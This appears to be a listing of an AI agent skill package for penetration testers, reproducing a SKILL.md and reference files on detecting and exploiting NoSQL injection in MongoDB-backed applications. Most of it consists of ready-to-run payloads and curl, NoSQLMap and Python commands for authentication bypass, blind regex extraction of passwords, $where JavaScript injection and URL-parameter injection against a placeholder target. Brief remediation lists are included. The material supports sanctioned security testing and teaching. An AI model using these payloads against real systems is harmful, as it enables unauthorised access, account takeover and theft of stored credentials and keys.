What it does. Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Upstream	mukul975/Anthropic-Cybersecurity-Skills
Skill file	skills/exploiting-nosql-injection-vulnerabilities/SKILL.md
License	Apache-2.0 (skill folder LICENSE)
Author	mukul975
Fetched	2026-09-10

Install

• npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilities, or copy the skill folder into ~/.claude/skills/exploiting-nosql-injection-vulnerabilities/.
• Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md

SKILL.md (verbatim)

name: exploiting-nosql-injection-vulnerabilities
description: Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB,
  and similar databases to demonstrate authentication bypass, data extraction, and
  unauthorized access via crafted query operators. Use when pentesting APIs or web
  applications backed by NoSQL databases to test input validation and injection
  defenses.
domain: cybersecurity
subdomain: web-application-security
tags:
- nosql-injection
- mongodb
- authentication-bypass
- injection-attack
- web-security
- database-security
- api-testing
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1055

Exploiting NoSQL Injection Vulnerabilities

When to Use

• During web application penetration testing of applications using NoSQL databases
• When testing authentication mechanisms backed by MongoDB or similar databases
• When assessing APIs that accept JSON input for database queries
• During bug bounty hunting on applications with NoSQL backends
• When performing security code review of database query construction

Prerequisites

• Burp Suite Professional or Community Edition with JSON support
• NoSQLMap tool installed (pip install nosqlmap or from GitHub)
• Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
• Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
• Proxy configured for HTTP traffic interception
• Python 3.x for custom payload scripting

Workflow

Step 1 — Identify NoSQL Injection Points

# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'

# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"

# Check for error-based detection
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'

Step 2 — Perform Authentication Bypass

# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'

# Bypass with $gt operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Target specific user with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'

# Bypass using $exists operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$exists": true}, "password": {"$exists": true}}'

Step 3 — Extract Data Using Boolean-Based Blind Injection

# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^a"}}'

# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^ab"}}'

# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'

Step 4 — Exploit JavaScript Injection via $where

# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.username == \"admin\""}'

# Time-based detection with sleep
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "sleep(5000) || this.username == \"admin\""}'

# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.password.match(/^a/) != null"}'

Step 5 — Use NoSQLMap for Automated Testing

# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
  --method POST \
  --data '{"username":"test","password":"test"}'

# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'

Step 6 — Test URL Parameter Injection

# Parameter-based injection (GET requests)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"

# Array injection via URL parameters
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"

# Inject via HTTP headers if processed by backend
curl http://target.com/api/profile \
  -H "X-User-Id: {'\$ne': null}"

Key Concepts

Concept	Description
Operator Injection	Injecting MongoDB operators ($ne, $gt, $regex) into query parameters
Authentication Bypass	Using operators to match any document and bypass login checks
Blind Extraction	Character-by-character data extraction using $regex boolean responses
$where Injection	Executing arbitrary JavaScript on the MongoDB server via $where operator
Type Juggling	Exploiting how NoSQL databases handle different input types (string vs object)
BSON Injection	Manipulating Binary JSON serialization in MongoDB wire protocol
Server-Side JS	JavaScript execution context available in MongoDB for query evaluation

Tools & Systems

Tool	Purpose
NoSQLMap	Automated NoSQL injection detection and exploitation framework
Burp Suite	HTTP proxy for intercepting and modifying JSON requests
MongoDB Shell	Direct database interaction for testing query behavior
nosqli	Dedicated NoSQL injection scanner and exploitation tool
PayloadsAllTheThings	Curated NoSQL injection payload repository
Nuclei	Template-based scanner with NoSQL injection detection templates
Postman	API testing platform for crafting NoSQL injection requests

Common Scenarios

1. Login Bypass — Bypass MongoDB-backed authentication using {"$ne": ""} operator injection in username and password fields
2. Data Enumeration — Extract database contents character by character using $regex blind injection when no direct output is visible
3. Privilege Escalation — Modify user role fields through NoSQL injection in profile update endpoints
4. API Key Extraction — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques
5. Account Takeover — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass

Output Format

## NoSQL Injection Assessment Report
- **Target**: http://target.com/api/login
- **Database**: MongoDB 6.0
- **Vulnerability Type**: Operator Injection (Authentication Bypass)
- **Severity**: Critical (CVSS 9.8)

### Vulnerable Parameters
| Endpoint | Parameter | Injection Type | Impact |
|----------|-----------|---------------|--------|
| POST /api/login | username | Operator ($ne) | Auth Bypass |
| POST /api/login | password | Regex ($regex) | Data Extraction |
| GET /api/users | id | $where JS Injection | RCE Potential |

### Proof of Concept
- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
- Extracted 3 admin passwords via blind regex injection
- JavaScript execution confirmed via $where operator

### Remediation
- Use parameterized queries with MongoDB driver sanitization
- Implement input type validation (reject objects where strings expected)
- Disable server-side JavaScript execution ($where) in MongoDB config
- Apply least-privilege database access controls

Other files in this skill

• LICENSE
• assets/template.md
• references/api-reference.md
• references/standards.md
• references/workflows.md
• scripts/agent.py
• scripts/process.py

assets/template.md (verbatim)

NoSQL Injection Assessment Report Template

Target Information

• Application URL: [url]
• Database Type: MongoDB / CouchDB / Other
• Assessment Date: [date]
• Tester: [name]

Findings Summary

Finding	Severity	Endpoint	Impact
Operator Injection	Critical	POST /api/login	Authentication Bypass
Blind Regex Extraction	High	POST /api/login	Data Leakage
$where JS Injection	Critical	POST /api/search	Potential RCE

Detailed Findings

Finding 1: Authentication Bypass via Operator Injection

• Endpoint: POST /api/login
• Payload: {"username":{"$ne":""},"password":{"$ne":""}}
• Impact: Complete authentication bypass allowing access to any account
• CVSS Score: 9.8 (Critical)

Remediation Steps

1. Validate input types — reject objects/arrays where strings are expected
2. Use MongoDB driver parameterized query methods
3. Implement server-side schema validation with JSON Schema
4. Disable $where and mapReduce JavaScript execution
5. Apply least-privilege database user permissions

references/api-reference.md (verbatim)

API Reference: NoSQL Injection Testing

MongoDB Query Operators

Operator	Description	Injection Use
$ne	Not equal	Bypass authentication
$gt	Greater than	Extract data
$regex	Regular expression	Pattern matching
$exists	Field exists	Enumerate fields
$where	JavaScript expression	Code execution
$or	Logical OR	Logic bypass

Authentication Bypass Payloads

GET Parameters

?username[$ne]=&password[$ne]=
?username=admin&password[$gt]=
?username[$regex]=admin.*&password[$ne]=

JSON Body

{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}

Data Extraction

Regex-Based Extraction

{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
{"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
{"username": {"$regex": "^adm"}, "password": {"$ne": ""}}

$where JavaScript Injection

{"$where": "this.username == 'admin' && this.password.match(/^a/)"}

Error-Based Detection

MongoDB Error Messages

Error	Indicator
MongoError	MongoDB driver error
CastError	Invalid ObjectId
BSONTypeError	Invalid BSON type
SyntaxError	JavaScript parse error

Testing Tools

NoSQLMap

python nosqlmap.py --url http://target/api/login --method POST \
    --data '{"username":"test","password":"test"}'

Burp Suite Intruder

Use NoSQL payload wordlist with parameter fuzzing.

Python requests Testing

GET Injection

import requests
url = "http://target/api/users"
resp = requests.get(f"{url}?username[$ne]=&password[$ne]=")

JSON Injection

payload = {"username": {"$ne": ""}, "password": {"$ne": ""}}
resp = requests.post(url, json=payload)

Remediation

1. Use parameterized queries (never concatenate user input)
2. Validate input types (reject objects where strings expected)
3. Use mongo-sanitize or equivalent input sanitization
4. Disable $where operator if not needed
5. Implement proper authentication (don't rely on query-level checks)

references/standards.md (verbatim)

Standards & References — NoSQL Injection

Industry Standards

• OWASP Top 10 2021 A03 — Injection (includes NoSQL injection)
• OWASP Testing Guide — Testing for NoSQL Injection (WSTG-INPV-05.6)
• CWE-943 — Improper Neutralization of Special Elements in Data Query Logic
• MITRE ATT&CK T1190 — Exploit Public-Facing Application

Technical References

• PortSwigger Web Security Academy: https://portswigger.net/web-security/nosql-injection
• OWASP NoSQL Testing Guide: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection
• PayloadsAllTheThings NoSQL: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
• MongoDB Security Checklist: https://www.mongodb.com/docs/manual/administration/security-checklist/
• HackTricks NoSQL: https://book.hacktricks.xyz/pentesting-web/nosql-injection

Tools

• NoSQLMap: https://github.com/codingo/NoSQLMap
• nosqli: https://github.com/Charlie-belmer/nosqli
• MongoDB documentation on query operators: https://www.mongodb.com/docs/manual/reference/operator/query/

references/workflows.md (verbatim)

Workflows — NoSQL Injection Exploitation

Detection Workflow

1. Identify application technology stack (check for MongoDB, CouchDB indicators)
2. Map all input points accepting JSON data or query parameters
3. Submit operator payloads ($ne, $gt, $regex) in each parameter
4. Monitor responses for authentication bypass or data leakage
5. Test for JavaScript injection via $where operator
6. Document all vulnerable endpoints with proof-of-concept payloads

Blind Extraction Workflow

1. Confirm boolean-based injection by comparing true/false responses
2. Determine password/field length using $regex with length patterns
3. Extract characters one at a time using $regex "^<known_chars><test>"
4. Automate extraction with Python script using binary search
5. Validate extracted data by attempting authentication

Automated Scanning Workflow

1. Configure proxy (Burp Suite) to intercept target traffic
2. Run NoSQLMap against identified endpoints
3. Use nuclei with NoSQL injection templates for broad coverage
4. Manually verify automated findings with crafted payloads
5. Escalate confirmed findings to data extraction or RCE attempts

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